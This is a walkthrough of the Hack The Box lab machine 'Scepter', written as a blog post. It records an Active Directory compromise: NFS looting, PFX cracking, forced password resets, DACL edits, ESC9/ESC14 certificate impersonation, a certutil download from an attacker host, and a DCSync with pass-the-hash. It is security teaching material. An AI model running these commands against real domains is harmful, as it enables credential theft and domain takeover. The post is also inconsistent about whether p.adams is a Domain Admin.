Post

Scepter

Non Seasonal Machine — Hard

Posted Updated
By Zyad Elsayed
22 min read
Scepter

box-cover https://app.hackthebox.com/machines/Scepter

بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيم

Introduction

This is my comprehensive walkthrough for solving Scepter, a challenging Active Directory machine on Hack The Box. This box required in-depth enumeration, methodical abuse of Active Directory Certificate Services ADCS, and chaining multiple privilege escalation paths across ADCS misconfigurations, ACL abuse, and classic Active Directory attacks.

In the initial enumeration phase we discovered an exposed NFS share exposing sensitive files related to certificates, including PFX files. After cracking its password, we used the private key and certificate was in the share to generate a valid PFX file for the user d.baker using cracked password. This allowed us to authenticate as d.baker and extract his Kerberos ticket and NT hash.

Upon enumeration, we identified that d.baker was a member of the Staff group, which had enrollment rights on a vulnerable certificate template ESC9. This template enforced the inclusion of the user’s email in the certificate through the SubjectAltRequireEmail flag. This would normally allow us to impersonate another user via certificate authentication if we could control d.baker’s mail attribute. However, d.baker himself did not have the privileges to modify his own attributes.

By compromising a.carter resetting their password using ForceChangePassword rights, and leveraging GenericAll permissions on the Staff Access Certificate OU, we obtained the ability to modify users within this OU, including changing d.baker’s email attribute. This allowed us to abuse ESC9 fully by setting d.baker’s mail attribute to impersonate h.brown, a user with higher privileges.

We then requested a new certificate for d.baker with the modified email, authenticated as h.brown, and extracted his NT hash.

Finally, with h.brown’s privileges, we identified through ACL enumeration that he had write access to altSecurityIdentities on p.adams, a Domain Admin user. Using this, we performed an ESC14 attack by explicitly mapping our certificate to p.adams. This granted us full authentication as p.adams, from which we executed a DCSync attack to extract the Administrator’s NTLM hash, completing the domain compromise.

This machine highlighted the importance of carefully managing certificate templates, ACL permissions, and attribute control within Active Directory environments.

Let’s walk through the exploitation in detail.

Attack flow chart

Reconnaissance

Network Scanning:

The Nmap scan reveals that the target is a Windows Active Directory environment hosting typical domain controller services such as Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and DNS (53), which aligns with the nature of this machine. The host is identified as DC01 within the scepter.htb domain, confirming it is likely a domain controller.

An unusual observation is the presence of NFS services (111 and 2049), which are uncommon on Windows and typically seen in Unix/Linux environments. This could indicate misconfiguration or be part of the intended scenario. Further enumeration will clarify whether these services are actively used or simply exposed unnecessarily.

Normally, the next steps would focus on enumerating LDAP and SMB for potential anonymous access, as we currently lack valid credentials to enumerate users or shared resources. However, the exposed NFS service may also offer an unexpected attack vector worth investigating.

For now, we will proceed with enumerating the NFS. The exposure of NFS is the only oddity and might represent a potential attack surface later in the engagement.

Environment Configuration

Before moving forward, it’s important to configure the environment properly for Kerberos-based authentication to avoid common issues later.

  1. Update /etc/hosts for Local Name Resolution

    1

     echo '10.10.11.65  scepter.htb  dc01.scepter.htb' | sudo tee -a /etc/hosts

  2. Sync System Time to Prevent Kerberos Time Skew Errors

    Kerberos is sensitive to time differences. We have to sync the machine time with the domain controller.

    1

     sudo ntpdate -u scepter.htb

  3. Configure /etc/krb5.conf for Kerberos

    We configure the /etc/krb5.conf file to point explicitly to the target domain for Kerberos authentication and its important if we would rely on tikets.

    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

     [libdefaults]
     default_realm = SCEPTER.HTB
     dns_lookup_realm = false
     dns_lookup_kdc = false
     forwardable = true
     renewable = true

 [realms]
     SCEPTER.HTB = {
         kdc = 10.10.11.65
         admin_server = 10.10.11.65
     }

 [domain_realm]
     .scepter.htb = SCEPTER.HTB
     scepter.htb = SCEPTER.HTB

Service Enumeration:

1. NFS

  1. Identify exposed NFS share

    1

    showmount -e 10.10.11.65

    The helpdesk NFS share is exposed and allows access to everyone.

  2. Mounting and Enumerating the NFS Share

    • Create a local directory for mounting

      1

      mkdir -p /tmp/nfs
    • Mount the share
      1

      sudo mount -t nfs -o nolock 10.10.11.65:/helpdesk /tmp/nfs

    • Copy the files locally for easier access
      1

      sudo cp -r /tmp/nfs/ ./helpdesk
    • Fix permissions to allow the current user to access the files
      1

      sudo chown -R $USER:$USER

Inside the exposed share, we found several certificate-related files. These files include private keys (.key), Certificate (.crt) and personal information exchange files (.pfx). Such files can potentially be abused to authenticate within an Active Directory environment, depending on how certificates are configured.

2. SSL/TLS Certificate

To verify whether the domain is using its own ADCS, we inspected the SSL/TLS certificate presented by the Global Catalog over SSL (port 3269) bash openssl s_client -connect 10.10.11.65:3269 -showcerts The output confirms that the server is using a certificate issued by its own internal CA named scepter-DC01-CA.

Exploitation

Cracking the .pfx Files

  1. Inspecting the .pfx Files We can start by extracting information from the .pfx files using openssl
    1

     openssl pkcs12 -in scott.pfx -info -nodes

    The .pfx files are password protected, and we couldn’t extract any useful information at this stage. The next logical step is to attempt password cracking through brute-force.

  2. Cracking .pfx Passwords with John the Ripper
    • Convert the .pfx files into a crackable format for John
      1
2
3

      pfx2john scott.pfx > scott.hash
pfx2john lewis.pfx > lewis.hash
pfx2john clark.pfx > clark.hash

    • Crack the hashes using john
      1

        john scott.hash --wordlist=/usr/share/wordlists/rockyou.txt

      All .pfx files share the same password: newpassword.

  3. Auth using pfx files

    With the cracked password, we can now authenticate using the one of the .pfx files

    1

    certipy auth -pfx Newclark.pfx -password newpassword -domain scepter.htb -dc-ip 10.10.11.65

    The authentication failed because m.clark’s account is revoked or disabled in Active Directory. The KDC_ERR_CLIENT_REVOKED error indicates the domain controller is refusing to issue a TGT for this user.

    Same error for both other users

Pass The Certificate

Certificate Enumeration

Inspecting the Certificate from NFS

1

openssl x509 -in baker.crt -text -noout

The CN of the certificte owner is: d.baker

Rebuilding .pfx from the .crt and .key

Since wr got .crt and .key files for baker from NFS, we can create a new .pfx container to try for authentication It is clear that is our lead, but we had to crack the .pfx file first to gain the used encryption password.

1

openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt

When prompted, we use the password newpassword which was cracked earlier. The other prompts can be left empty.

Abusing the Certificate to Obtain TGT via PKINIT

Finally, we used Certipy to authenticate as d.baker via PKINIT and obtain a TGT along with the NTLM hash

1

certipy auth -pfx baker.pfx -username d.baker -domain scepter.htb -dc-ip 10.10.11.65

This successfully authenticated as d.baker and provided us with Kerberos tickets and NTLM hash, paving the way for further escalation.

Checking our access

Using nxc_bruter which dependes on nxc it just spray using services we need to check at once instead or repeating the process over each service

1

nxc_bruter -i 10.10.11.65 -s all -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce -d scepter.htb

We have access to LDAP so we can use this for furture usersand group enumeration, or just use bloodhound to visualize the realtion between AD objeccts

Using BloodHound to Visualize the Environment

For this step, I used Bloodhound CE, the actively maintained version of BloodHound. To enumerate and collect the necessary data, I used bloodhound-ce-python.

Since we already have both the Kerberos ticket and the NT hash, either method works for enumeration.

  • Using the Ticket
    1
2

      export KRB5CCNAME=d.baker.ccache
  bloodhound-ce-python -u d.baker -k -ns 10.10.11.65 -d scepter.htb -c all --zip
  • Using the NT Hash
    1

      bloodhound-ce-python -u d.baker --hashes :18b5fb0d99e7a475316213c15b6f22ce -ns 10.10.11.65 -d scepter.htb -c all --zip

    BloodHound Analysis

    After collecting and ingesting the data into BloodHound, I marked d.baker as owned.

  1. Identify Owned User Permissions and Relationships Analysis shows that d.baker has Outbound Object Control over a.carter. d.baker can ForceChangePassword on a.carter. This allows d.baker to change a.carter’s password without needing the current one.

  2. Groups our owned user member of

    Our user is member of the Staff

  3. Mapping Shortest Path from Owned Object

    d.baker ➔ a.carter ➔ IT Support ➔ Staff Access Certificate OU

    The attack path shows that d.baker has Outbound Object Control over a.carter, allowing them to change a.carter’s password. Once compromised, a.carter is a member of the IT Support group, which in turn has GenericAll rights over the Staff Access Certificate OU. This grants control over objects within that OU.

    One important observation is that the Staff Access Certificate OU already contains our owned user. It’s worth enumerating this OU before exploiting the attack path to see if it reveals any useful leads or additional opportunities.

  4. Mapping Principals with DCSync Privileges

    Only the REPLICATION OPERATORS group has extended rights over the DC, allowing its members to perform DCSync operations. This group should be marked as high-value

    Further inspection shows that the REPLICATION OPERATORS group has only one member, making this user our primary target for privilege escalation.

  5. Noting Domain Admins Group Members

    This time, the DOMAIN ADMINS group contains only a single normal user ADMINISTRATOR.

  6. Noting Remote Management Users Group Members

    Members of the Remote Management Users group can remotely manage the machine via WMI, WinRM, or similar protocols. Later, this access can be used to gain a foothold on the machine through one of these accounts.

    On this machine, only h.brown is a member of this group.

ADCS

ADCS Enumeration

As we own a domain user now we can enumerate ADCS to see if it leads us to any misconfigured template or another attack path

  • Enumerating all templates
    1

    certipy find -u d.baker -hashes 18b5fb0d99e7a475316213c15b6f22ce -dc-ip 10.10.11.65 -stdout

    35 template to review 

    1

    certipy find -u d.baker -hashes 18b5fb0d99e7a475316213c15b6f22ce -dc-ip 10.10.11.65 -vulnerable -stdout

The StaffAccessCertificate template is vulnerable to ESC9 as it lacks a security extension. This, combined with d.baker being part of the staff group as enumerated before (which has enrollment rights), makes it a potential target for certificate-based attacks if other prerequisites are met.

How ADCS Maps Certificates

Most ADCS attacks involving certificate abuse (especially ESC1 to ESC13) often involve mapping a certificate to the victim account to impersonate them.

ESC9 abuses altSecurityIdentities mappings in Active Directory for certificate-based authentication. When a user authenticates with a certificate via PKINIT (Kerberos) or LDAP with TLS client certificate, AD must figure out which user in the directory this certificate belongs to.

Depending on the certificate template and how the CA issues the certificate, Active Directory might map the user through:

  • The certificate Subject/Issuer via altSecurityIdentities
  • The UPN in the certificate
  • The email (mail) address in the certificate’s Subject Alternative Name (SAN)
  • The sAMAccountName (rarely, specific templates allow this)
Implicit Mapping (Flexible) – “Like Face Recognition System”

The certificate’s Subject Alternative Name (SAN) is used for mapping, typically with DNS or UPN fields.

  • Instead of storing the exact certificate details, the system looks inside the certificate for things like:
    • UPN (UserPrincipalName) – A username in email format (user@company.com).
    • DNS (Domain Name System) – A machine name (server.company.com).
  • If the system finds a match, it lets the user in.
  • This is like using face recognition to verify employees instead of checking their ID cards.
Explicit Mapping (Strict) – “Like ID Card with a Name on It”

The altSecurityIdentities attribute of an account must contain the certificate’s identifier. The certificate must be signed by a trusted CA and match this value.

  • The user’s account has a field called altSecurityIdentities, which lists specific certificates that belong to them.
  • If a certificate matches what’s stored in that field, authentication is allowed.
  • Think of this like an office ID card that has your photo and name. Security checks if the name matches their records before letting you in.

ESC9

In ESC9 if msPKI-Enrollment-Flag attribute of a certificate template contains the CT_FLAG_NO_SECURITY_EXTENSION flag, it effectively negates the embedding of the szOID_NTDS_CA_SECURITY_EXT security extension. This means that irrespective of the configuration of the StrongCertificateBindingEnforcement registry key (even if set to its default value of 1), the mapping process will occur as if the registry key had a value of 0 , essentially bypassing strong certificate mapping. This allows for certificate mapping through weak/implicit methods, such as UPN in the SAN field, even if StrongCertificateBindingEnforcement is enabled on the DC.

Since the staff group (which includes d.baker) has enrollment rights, We can request a certificate and authenticate as any user whose UPN matches the SAN in this case we would choose high value target.

ESC9 Requirements

  1. The StrongCertificateBindingEnforcement registry key should not be set to 2, or the CertificateMappingMethods should contain the UPN flag ( 0x4 ).
  2. The certificate template must incorporate the CT_FLAG_NO_SECURITY_EXTENSION flag within the msPKI-Enrollment-Flag value.
  3. The certificate template should explicitly specify client authentication as its purpose.
  4. The attacker must possess at least the GenericWrite privilege against any user account (account A) to compromise the security of any other user account (account B).

Alt text

Certificate Name Flag : SubjectAltRequireEmail, SubjectRequireEmail In this case, the certificate template is configured to automatically populate the certificate’s email (SAN) field from the user’s mail attribute in Active Directory because the template does not allow the user to manually specify it Enrollee Supplies Subject : False. This is useful for ESC9 because if we have permissions to modify another user’s mail attribute, we can set it to an email for high value target to impersonate. When we request a certificate for that user, the CA will issue a certificate with the modified email in the SAN field. During authentication, Active Directory uses this email to identify the user, allowing us to impersonate the account linked to that email. This makes exploiting ESC9 possible without modifying attributes like UPN or altSecurityIdentities directly.

To successfully obtain a certificate from this template, the request must satisfy these three Subject Name requirements configured in the template:

  • SubjectRequireEmail — The certificate subject must include an email address.
  • SubjectRequireDnsAsCn — The DNS name must appear as the Common Name (CN).
  • SubjectAltRequireEmail — The Subject Alternative Name (SAN) must include an email address.

If we tried to request a certificate we would get an error cause the email name is unavailable

Recap: The StaffAccessCertificate template is vulnerable to ESC9 so we can use this template to impersonate high value target, staff group members are allowed to request certificates using this certificate template. Our owned user d.baker is member of this group so we can request a certificate using this template. So if we can change d.baker email we would be able to abuse the mapping functionality and gain access to another user.

From previous enumeration using bloodhound there is exploitation path from d.baker to Staff Access Certificate OU

1
2
3
4
5
6
7

d.baker (ForceChangePassword)
        │
        └──➔ a.carter (MemberOf)
                  │
                  └──➔ IT Support (GenericAll)
                            │
                            └──➔ Staff Access Certificate OU (Enrollment Rights)

So now if we changed a.carter password and abused the GenericAll rights over the Staff Access Certificate OU then a.carter can take ownership of the objects inside OU by inheritance. Which in this case d.baker so this user whould be able to change d.baker email fied.

ACL abuse

There are many tools available for AD enumeration and abuse, but I prefer BloodyAD because it consolidates multiple functionalities into a single tool. It allows you to enumerate, manipulate, and exploit various AD components efficiently without switching between multiple tools.

ForceChangePassword

d.baker can ForceChangePassword on a.carter

1

bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p :18b5fb0d99e7a475316213c15b6f22ce set password a.carter 'pa$$w0rd'

GenericAll over OU

To abuse the GenericAll over an OU we can add a new ACE that will be inherited by the objects under it. Apply a GenericAll ACE to give the privilage to a.carter to take ownership of the objects inside:

1

impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'a.carter' -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' 'scepter.htb'/'a.carter':'pa$$w0rd' 2>/dev/null

Change email field

We have two high-value targets: h.brown, the only user who is a member of the REMOTE MANAGEMENT USERS group, and p.adams, a member of the Domain Admins group. At this early stage of solving the machine, it won’t be p.adams who is exploitable, but in a real environment, of course, we would test both.

Using BloodyAD, we change d.baker’s mail attribute to h.brown@scepter.htb. This allows us to request a certificate mapped implicitly to h.brown via ESC9.

With bloodyAD set object, when you want to modify attributes like mail (email) that aren’t explicitly built into the tool’s predefined options, you simply supply the attribute manually using -v. The -v flag allows you to specify the value for any LDAP attribute, even if it’s not one of the common attributes bloodyAD expects.

1

bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p 'pa$$w0rd' set object d.baker mail -v h.brown@scepter.htb

ESC9 Exploitation Flow

  1. Request a certificate impersonating h.brown

    1

     certipy req -u d.baker -hashes :18b5fb0d99e7a475316213c15b6f22ce -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65

  2. Authenticate as h.brown using the issued certificate

    1

     certipy auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.10.11.65 -u h.brown

    We gain h.brown’s NT hash and a ticket to use for Kerberos authentication. NT hash is useless for now as h.brown is member of protected users group which preventing the use of NTLM authentication and legacy protocols.

Initial Access

1
2

export KRB5CCNAME=h.brown.ccache
evil-winrm -i dc01.scepter.htb -r scepter.htb

Privilege Escalation

After initial access to a machine, I typically focus on expanding visibility over the environment by profiling the current user and installed applications. I also check for any internal applications running on local ports; tools like WinPEAS help automate this process. Next, I prefer to gather another dump of Active Directory data using SharpHound, as BloodHound.py often misses important details, especially around ADCS objects. I also run additional enumeration scripts like PowerView’s Find-Interesting* functions such Find-InterestingDomainAcl to uncover less important ACLs and relationships that BloodHound doesn’t visualize. If enumeration shows no immediate leads, I escalate to tools like Snaffler, Inveigh, or deploy multiple malicious LNK files on shared folders to capture hashes.

Finding Privileged ACLs

During this enumeration, I identified through PowerView’s Find-InterestingDomainAcl function an interesting ACL applied to a high-privilege user p.adams. This user was already marked as a potential target during initial recon.

  1. Upload PowerView to the machine
    • Using Evil-WinRM’s upload functionality
    • Or with certutil
      1

       certutil -urlcache -split -f http://ip:port/powerview.ps1

  2. Import PowerView and start enumeration

    1
2
3

     Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
 Import-Module .\PowerView.ps1
 Find-InterestingDomainAcl  -ResolveGUIDs

The CMS group has been explicitly granted WriteProperty rights over the altSecurityIdentities attribute of the p.adams user object. The permission applies only to this specific attribute, not the entire object. Because the ACE is inherited by the CMS group, any user within that group (including h.brown) can modify p.adams’s altSecurityIdentities

Since h.brown is a member of CMS, this confirms we can modify the altSecurityIdentities attribute on p.adams. We validated this using BloodyAD

1

bloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k get writable

For further enumeration of misconfigured altSecurityIdentities, we can use

1

Get-ADObject -LDAPFilter '(altSecurityIdentities=*)' -Properties altSecurityIdentities

This revealed that h.brown already has an altSecurityIdentities mapping, but this doesn’t help us now since we already control h.brown. Our focus is on p.adams.

After additional research, I confirmed this scenario aligns with ESC14. Because we have WriteProperty rights over the altSecurityIdentities attribute on p.adams, we can abuse this to map our certificate to their account and impersonate them.

ESC14

overview

The altSecurityIdentities attribute in Active Directory allows mapping a user or computer account to a specific certificate. When a certificate matches this mapping, the principal (user or computer) can authenticate with it via PKINIT or Schannel.

If an attacker has WRITE access to the altSecurityIdentities attribute of a user or computer, they can add their own certificate mapping. This allows authentication as that user or computer with the attacker’s certificate.

Key Risk: Domain Controllers do not verify certificate issuers for these explicit mappings. This means attackers can use certificates from any CA, including public ones.

Mapping Types & Abuse Scenarios (ESC14)

The SpecterOps research outlines four main abuse scenarios depending on the mapping type abused:

ScenarioMapping TypeExploited AttributeTargetAttack Method
AX509IssuerSerialNumberaltSecurityIdentitiesUser/ComputerDirect write: attacker’s cert mapping
BX509RFC822 (Email)mailUserSet mail to match cert’s email
CX509IssuerSubjectcn, nameUserRename cn/name to match cert CN
DX509SubjectOnlydNSHostNameComputerSet dNSHostName to match cert CN

Many options and settings influence the possibility of explicit certificate mapping but we have 3 weak maping techniques besides X509SKI so we can try any of them

Our Attack Scenario: Targeting p.adams for DCsync

Our target is p.adams this user is our path to gaining DCsync rights on the domain as identified before. We have WRITE access to their altSecurityIdentities attribute.

Attack Flow: We will abuse this access to assign our own certificate mapping to p.adams. Once mapped, we authenticate as p.adams and leverage their privileges.

1
2
3
4
5
6
7
8
9
10
11

[Write Access]
        │
        ├── altSecurityIdentities  (Direct Mapping)
        ├── mail                   (RFC822 Email Mapping)
        └── cn / dNSHostName       (Subject / DNS Mapping)
        │
        └─▶ Enroll Attacker Certificate
                │
                └─▶ Authenticate w/ Certificate (PKINIT / Schannel)
                        │
                        └─▶ Full Compromise of Target Principal

ESC14 Scenario B easiest

  1. Enumerate the Existing altSecurityIdentities Attribute
    1

     Get-ADUser p.adams -Properties altSecurityIdentities | Select-Object Name, altSecurityIdentities

  2. modify p.adams’s altSecurityIdentities attribute
    • Using BloodyAD
      1

        bloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k set object p.adams altSecurityIdentities -v "X509:<RFC822>h.brown@scepter.htb"

    • Using PowerShell (via ADSI)
      1
2
3

        $victim = [ADSI]"LDAP://CN=P.ADAMS,OU=HELPDESK ENROLLMENT CERTIFICATE,DC=SCEPTER,DC=HTB"
  $victim.Put("altSecurityIdentities", "X509:<RFC822>h.brown@scepter.htb")
  $victim.SetInfo()

    • Using PowerShell (via Set-ADUser)
      1
2

        $ASI = (Get-ADUser h.brown -Properties altSecurityIdentities).altSecurityIdentities
  Set-ADUser p.adams -Replace @{altSecurityIdentities = $ASI[0]}

  3. Confirm change Verify the altSecurityIdentities attribute was updated as expected.

  4. Authenticate as High-Privilege User p.adams via Certificate Mapping

    With the updated mapping in place, authenticate as p.adams by abusing the existing h.brown PFX certificate obtained earlier through ESC9. This works because the certificate is now explicitly linked to p.adams via altSecurityIdentities (X509 RFC822 mapping).

    1

    certipy auth -pfx d.baker.pfx -username p.adams -domain scepter.htb -dc-ip 10.10.11.65

    We got p.adam ticket and NT hash that we would use later for DCSync

ESC14 Scenario A user => user

We have permissions to modify the altSecurityIdentities attribute on the target account. This allows us to map our own certificate to the target by updating this attribute. Once mapped, we can authenticate as the target user using the certificate.

This is called X509IssuerSerialNumber MappingFormat: X509:<I>DC=domain,...<SR>SerialNumber

Exploitation Steps
  1. Enroll a Certificate We already have a certificate from impersonating h.brown.
  2. Extract Issuer DN and Serial Look for: + Issuer: Distinguished Name + Serial Number: (may contain colons)
    1

     openssl x509 -in d.baker.pfx -noout -text

  3. Prepare the Payload
    • Convert the serial
      • Remove colons
      • Convert to lowercase
      • Reverse hex pairs
        1

          echo '62:00:00:00:02:80:94:eb:56:c1:65:ea:96:00:00:00:00:00:02' | tr -d ':' | tr 'A-F' 'a-f' | sed 's/../& /g' | awk '{for(i=NF;i>=1;i--) printf $i} END{print ""}'

    • Assemble the mapping payload to get this format ‘X509:{Issuer}{serialNumber}' 
      1

        echo '62:00:00:00:02:80:94:eb:56:c1:65:ea:96:00:00:00:00:00:02' | tr -d ':' | tr 'A-F' 'a-f' | sed 's/../& /g' | awk '{for(i=NF;i>=1;i--) printf $i} END{print ""}' | xargs -I {} echo "'X509:<I>DC=htb,DC=scepter,CN=scepter-DC01-CA<SR>{}'"

      don’t forget to change the serial number

  4. Update altSecurityIdentities
    1

     bloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k set object p.adams altSecurityIdentities -v 'X509:<I>DC=htb,DC=scepter,CN=scepter-DC01-CA<SR>02000000000096ea65c156eb94800200000062'

  5. Confirm the Change
    1

     Get-ADUser p.adams -Properties altSecurityIdentities | Select-Object Name, altSecurityIdentities

  6. Authenticate as p.adams using the certificate we used its data

    1

     certipy auth -pfx d.baker.pfx -username p.adams -domain scepter.htb -dc-ip 10.10.11.65

    we again got NT hash and

ESC14 Scenario A machine => user

Alternatively, create a machine account, request a machine certificate, and repeat the same technique.

  1. Create a Machine Account
    • Using impacker
      1

        impacket-addcomputer 'scepter.htb/a.carter:pa$$w0rd' -computer-name B4l3rI0n$ -computer-pass 'pa$$w0rd' -dc-ip 10.10.11.65

    • Using Linux PowerView ‘first time i try’
      1
2

        powerview -d a.carter:'pa$$w0rd'@scepter.htb
  Add-DomainComputer -ComputerName B4l3rI0n -ComputerPass 'pa$$w0rd'

  2. Request a certificate

    1

     certipy req -u 'B4l3rI0n$' -p 'pa$$w0rd' -ca scepter-DC01-CA -template Machine -dc-ip 10.10.11.65

    The following steps are identical to user ➔ user: Extract serial & issuer, build payload, update altSecurityIdentities, and authenticate.

    DCSync

With access to p.adams’s NT hash and ticket, and as a Domain Admin, we have the necessary privileges to perform a DCSync attack. This allows us to impersonate a Domain Controller and request the password hashes of other users directly from the domain, including the Administrator account. This technique abuses the GetNCChanges privilege granted to Domain Admins over the domain naming context. We can use Impacket’s secretsdump.py tool to perform the DCSync and extract the NTLM hash of the Administrator account.

1

secretsdump.py 'scepter.htb'/'p.adams'@scepter.htb -hashes :1b925xxxxxxxxxxxxxxx18ce0

Then we can use this hash to auth as administrator and access the machine using evil-winrm

1

evil-winrm -i dc01.scepter.htb -u Administrator -H a291xxxxxxxxxxxxxxxxxxxxxxc4

Resources

WalkThrough, HTB
Active Directory HTB Hard Windows kerberos ESC9 ESC14 NFS DCSync
This post is licensed under CC BY 4.0 by the author.